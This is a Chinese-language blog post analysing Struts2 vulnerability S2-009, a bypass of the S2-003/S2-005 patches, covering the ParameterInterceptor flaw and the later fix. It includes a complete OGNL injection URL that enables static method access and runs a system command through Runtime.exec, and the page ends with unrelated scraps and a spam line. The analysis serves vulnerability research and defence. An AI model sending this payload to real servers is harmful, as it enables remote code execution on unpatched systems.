<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Struts2 漏洞分析系列 - S2-009/003與005的補丁繞過

    VSole2021-12-15 16:12:11

     

    漏洞概述

    S2-009是S2-003與S2-005的補丁繞過,當時的補丁是增加了正則以及相關的限制(這些限制可以通過執行OGNL表達式進行修改),主要的防御還是正則。

    這次的問題還是出現在ParameterInterceptor這個攔截器上,其漏洞原理類似于二次注入,先將Payload注入到上下文中,取出來時通過某個特定語法就可以執行之前設置過的Payload。

    影響版本:2.0.0 – 2.3.1.1

    官方issue地址:https://cwiki.apache.org/confluence/display/WW/S2-009

    環境搭建

    首先編寫一個最簡單的Action類,其中只需要存在一個屬性即可:

    public class TestAction {    private String message;
        public String getMessage() {        return message;    }
        public void setMessage(String message) {        this.message = message;    }
        public String execute() throws Exception {        return "success";    }}
    

    接著編寫struts.xml用于定義路由:

            "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"        "http://struts.apache.org/dtds/struts-2.0.dtd">
                            index.jsp            
    

    最后老規矩,定義一個Filter:

      struts2  org.apache.struts2.dispatcher.FilterDispatcher
          struts2      /*
    

    漏洞分析

    ParameterInterceptor的作用就是將當前請求中的參數與Bean中的屬性綁定在一起,所以http://127.0.0.1:8080/test.action?message=xxx會將xxx這個值賦到當前請求對象TestAction的message屬性中,在setValue調用完畢后可以通過getValue取出來:

    接下來會繼續對下一個參數進行解析,通過S2-003與S2-005的分析中我們得知,如果能夠通過ParameterInterceptor的相關驗證邏輯,那么是會對參數名進行一次OGNL表達式解析的,S2-003與S2-005的漏洞也出于此,后續的修復方案是增加了靜態方法相關的禁用以及一個用于驗證參數名的正則。

    但是在S2-009中我們可以通過top['message']的方式獲取到剛剛賦到message屬性上的值,并通過()執行OGNL表達式解析,并且top['message']是符合正則條件的:

    所以完整的Payload如下(實際情況利用時需要進行URL編碼):

    http://localhost:8082/test.action?message=#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),@java.lang.Runtime@getRuntime().exec('open -a /System/Applications/Calculator.app'),#request&top['message'](0)
    

    修復方案

    這次漏洞修復體現在多處代碼,首先就是ParametersInterceptor中,其將原先調用的setValue修改為setParameter,將兩者作為兩個模塊區分開了。

    區別是什么呢?重點就是傳給setValue的第四個參數:

    public void setParameter(String expr, Object value) {      this.setValue(expr, value, this.devMode, false);}
    public void setValue(String expr, Object value, boolean throwExceptionOnFailure) {  this.setValue(expr, value, throwExceptionOnFailure, true);}
    

    可以發現,setParameter的第四個參數為false,而setValue的第四個參數為true,這影響到了后續的調用流程,讓我們接著跟到最后的調用流程中:

    protected void setValue(String name, Map<String, Object> context, Object root, Object value, boolean evalName) throws OgnlException {        Object tree = this.compile(name);        if (!evalName && this.isEvalExpression(tree, context)) {            throw new OgnlException("Eval expression cannot be used as parameter name");        } else {            Ognl.setValue(tree, context, root, value);        }    }
    

    這里會判斷當前的name是否為evalName,此處為setParameter,因此evalName為false,所以這里為true,接著會通過isEvalExpression來判斷當前的name是否符合要求。

    private boolean isEvalExpression(Object tree, Map<String, Object> context) throws OgnlException {        if (tree instanceof SimpleNode) {            SimpleNode node = (SimpleNode)tree;            return node.isEvalChain((OgnlContext)context);        } else {            return false;        }    }
    

    isEvalExpression中會通過isEvalChain來判斷當前的node是否為鏈式調用(先取值再執行就是鏈式調用),Debug一下會發現之前的Payload在此處已經返回true了,被標為危險的name,因此這里會直接拋出異常而不會進行接下來的OGNL表達式解析:

    由于我們的Node會被解析為ASTEvalNode,其isEvalChain相關邏輯如下:

    public boolean isEvalChain(OgnlContext context) throws OgnlException {        return true;    }
    

    可以發現是直接返回true的,因此所有EvalNode都不能在這個漏洞點中使用了,如果想要繼續挖掘只能換一個Node看看是否能進行二次解析或是能夠達到與EvalNode相同作用(通過繼承邏輯)。

    上面是一個修復點,還有另外一個修復點在2.3.1.2中似乎沒有啟用,就是xx中的正則被修改為了:

    \w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*
    

    這個正則的作用是匹配name中的字母與數字,匹配不了特殊符號,我認為Struts2官方應該是想在這里取出name中不包含特殊符號的部分,接著通過setValue進行一個賦值,如下:

    但不知道為什么在這個版本沒有啟用,我認為這算是一個比較好的修復方案,不會太影響后面的業務邏輯,直接從漏洞點出發而不是直接在底層封死了,可能Struts2有它們自己的考究吧。

    struts2struts2漏洞
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    也可以輸入多個域名、C段IP等,具體案例見下文。功能齊全的Web指紋識別和分享平臺,內置了一萬多條互聯網開源的指紋信息。
    首先恭喜你發現了寶藏。本項目集成了全網優秀的攻防武器項目,包含信息收集工具(自動化利用工具、資產發現工具、目錄掃描工具、子域名收集工具....etc...),漏洞利用工具(各大CMS利用工具、中間件利用工具等項目),內網滲透工具、應急響應工具、甲方運維工具、等其他安全資料項目,供攻防雙方使用。
    S2-009是S2-003與S2-005的補丁繞過,當時的補丁是增加了正則以及相關的限制,主要的防御還是正則。
    Struts2是以MVC架構為基礎的WEB框架,通過WEB Filter的方式內嵌在WEB服務器中進行使用。
    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    避免網站顯示SQL錯誤信息,比如類型錯誤、字段不匹配等,防止攻擊者利用這些錯誤信息進行一些判斷。
    通過工控攻防演示讓初學者學習web安全、內網滲透、工控安全相關知識技能。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类